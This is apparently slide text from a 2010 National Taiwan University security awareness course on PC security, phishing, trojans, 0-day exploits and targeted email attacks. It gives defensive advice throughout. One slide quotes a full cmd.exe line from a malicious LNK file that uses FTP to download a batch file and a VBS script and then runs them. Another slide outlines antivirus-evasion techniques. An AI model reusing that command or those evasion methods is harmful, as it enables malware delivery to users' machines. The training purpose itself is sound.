
臺灣大學資安教育訓練
個人電腦安全及社交工程防護
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演練結果說明



前言

q電腦病毒與駭客，不是只有出現在電影裡面，但哪
些部分是真的?

q資安漏洞、系統問題每年都不一樣，駭客使用的手
法也日新月異。你仍然按照SOP和過去的技術來防
護?

案例分享 1
q駭客入侵還在換網頁嗎??



對電腦病毒與木馬程式錯誤概念

才剛重灌，就中木馬?

EXE file header
IP

程式開始
…
程式結束

後門程序開始



信用卡釣魚網站

信用卡釣魚網站(cont)



Yahoo上利用問答建置釣
魚網站之手法



MSN社交工程誘騙手法



q檔案加簽章，若僅檢查有無簽章就被騙過



惡意程式技術



案例:
q第一時間蒐集到的惡意程式，41種防毒軟體檢測皆無法
偵測。
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木馬可以訂做上網賣

q客制化的木馬程式，防毒軟體無法偵測!



基本惡意程式免殺技術

q加殼脫殼與加密解密
l 壓縮與外層數據偽裝，利用特殊的演算法，對可執行文件與

DLL文件裡的資源進行壓縮與對文件的描述、版本號、創建日
期、修改軟體、系統執行需求等外層數據進行偽裝。

l 舉個最簡單的例子:WinRAR

q加花指令

q程序入口點修改

q內存、文件特徵碼的定位與修改
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惡意程式反分析技術

q Anti-VM
q Anti-Debugger
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社交工程
電子郵件目標式攻擊

Target Attack

何謂Target Attack?

q故事內幕:

l 駭客利用Word漏洞，將木馬夾在doc檔中, 到處發信
進行滲透。木馬啟動後便將機密文件外送, 
並且開啟後門通知駭客來連

釐清買官傳聞

主旨:「0605
國防部新聞稿」



何謂0day漏洞

ó 修補到最新，就沒事了嗎?

空窗期
(1)

空窗期
(2) 修補期 安全期

發現軟體弱點 公佈軟體弱點 發佈修補程式 系統更新完成

駭客發現了漏洞不
一定要通報廠商

駭客製作出攻擊程式，打遍天下無敵手

過去一年內重大0day 紀錄

日期 漏洞與說明

02/25 Adobe Acrobat and Reader 0day
02/25 Microsoft Office Excel 0day
04/30 Adobe Acrobat 被發現兩項0day攻擊的緩衝區溢位弱點
06/18 Adobe Reader /Acrobat 被發現含有多項弱點
07/06 Adobe Shockwave Player 0day
07/06 Microsoft DirectShow 0day弱點(07/17才發布修補)
07/24 Adobe Acrobat Reader 含有零時差(0day) 漏洞
08/14 Linux Null pointer dereference vulnerability(0day)
10/12 Adobe Acrobat Reader 含有零時差(0day) 漏洞
10/16 Adobe Reader and Acrobat 含有多個可能造成遠端執行任

意程式碼的漏洞

12/17 Adobe Acrobat /Reader 含有零時差(0day)
2010/01/14 MS Internet Explorer 0day(編號979352)



2010 IE 0day(代號: 極光 )
q出現在今年1/14的微軟IE瀏覽器漏洞，編號979352、

CVE-2010-0249，經研究人員分析，幾乎能夠對目前所
有版本的IE瀏覽器與作業系統造成影響。



漏洞也有沒時間修的!!

8月14日Linux 被公佈有一個嚴重漏洞



q漏洞翻新

q結合時事

q標題更新穎，更引人入勝

政治類 健康養身類

以下都是曾經出現過的惡意信件檔案標題

q「李登輝、郭冠英與馬英九」、

q「駐外館處設置的內部考慮.doc/pdf」、

q「臺灣的十字架.pdf」、

q「博弈開放對本島民生之影響分析.doc」、

q「歐巴馬兩岸政策分析.doc」、

q「兩岸暖春可能導致臺灣邊緣化問題.doc」、

q「林毅夫回臺祭祖於我有益無害.doc」、

q「飯島愛歷部AV精彩截圖.ppt」、

q「消費券：恤荒之政.doc」



惡意電子郵件類型

早期

q電子郵件病毒多使用.exe、.com、.pif、.bat檔案等等
l 但這些檔案現在的outlook預設為關閉
l 大部分的防毒軟體皆會掃描郵件附件檔案

q教育普及，民智大開，現在使用者大多也不會去開啟此
類檔案。



新型態的惡意附件

排名 檔案類型 介紹與說明

1 PDF Portable Document Format的簡稱，意
思是「便攜式文件格式」，由Adobe 
Systems在1993年用於文件交換所發展
出的文件格式。

2 DOC Office 2003文件檔格式，也是目前公
務機構最常使用的文件檔案

3 PPT Office 2003簡報檔格式
4 RAR 歷史非常悠久的壓縮/解壓縮程式
5 LNK Windows 捷徑檔，駭客利用 .lnk檔案

能呼叫 CMD 指令的功能，將有害的
CMD 程式碼寫到 .lnk檔的「目標」欄
內。

PDF惡意附件案例說明
q駭客利用ADOBE acrobat軟體的漏洞，設計有問題的

PDF檔案，一旦開啟便會觸發漏洞，進而執行駭客設計
的攻擊程序。

q此類駭客手法利用的是一種稱作Buffer/Heap Overflow
的攻擊技巧，利用軟體的缺陷來達到駭客的目的。



LNK惡意附件攻擊手法介紹

LNK惡意附件攻擊手法介紹(cont)
q入侵範例說明

完整 CMD 指令內容如下：
C:\WINDOWS\system32\cmd.exe /c echo open xxx.xxx.edu.tw > 
t.t& echo 123 >> t.t& echo 123 >> t.t& echo get down3.bat 
c:\down3.bat >> t.t& echo get vnet3.vbs %windir%\vnet3.vbs >> 
t.t& echo bye >> t.t& ftp -s:t.t& del t.t& start %windir%\vnet3.vbs&



LNK惡意附件攻擊手法介紹(cont)

使用內建FTP協定下載惡意程式



不是漏洞的漏洞 DEMO

案例說明



電子郵件使用安全

q關閉Outlook的預覽功能

電子郵件使用安全（續）

q E-mail下載圖片先確定寄件者



電子郵件使用安全（續）

q Outlook Express 

6.5以前的版本，

應設定阻擋圖片

下載。

q工具→選項

電子郵件使用安全（續）

q Outlook Express 關閉預覽：「檢視」內的「視窗版
面配置」



以上你所聽過的電子郵件
關閉預覽方式完全沒有用!

案例說明 DEMO



Flash案例

判斷電子郵件安全原則



面對演練的防治方式

1. Outlook 中禁止顯示郵件中的
圖片與外部內容

2.不要點選郵件中的連結

3.不要開啟郵件中的附件

面對真實的惡意郵件攻擊

q防治措施:



比對顯示名稱與電子郵件帳號?
郵件主旨

寄件來源
寄件日期

郵件內容

對於可疑電子郵件應有警覺性

q為何會收到這封郵件?
l 若非信任者應先確認寄件來源及寄件者。

q是否應該收到這封郵件?
l 公務帳號不收私人信件

l 注意吸引人之標題，應詳加確認郵件主旨及內容。

q是否應該開啟這封郵件?
l 公務郵件之外的郵件不要開，確認與業務是否相關。

l 不開啟連結是否有影響。



如何查看郵件的標頭(mail header)
q以Outlook express為例

1. 先開啟你要看的信，然後點選「檔案」

2. 點選「內容」

l 點選「詳細資料」頁面，即可得到該郵件的信件標頭。



如何追蹤郵件來源

q使用軟體Email track pro

惡意電郵攻擊已經演變為
可以躲避防毒牆的偵測

案例說明



結語

結語

總結本課程相關的病毒、木馬知識與駭客攻擊手法：

q個人電腦安全防護
1. Windows Vista/7具備較佳的安全機制。
2. 儘管防毒軟體、系統更新可能無法完全保護你的電腦安全，
但是他們是基本的防護措施。

3. 請注意從emule等p2p軟體上的抓回來的檔案。
4. 釣魚誘騙不是漏洞，無法靠修補系統來防護，要靠修補人腦。

q社交工程目標式攻擊搭配0day漏洞已經成為目前駭客
專注的重點。

q了解並執行現有資訊安全政策與安全控管機制

2010/09/13



謝謝各位
Q/A


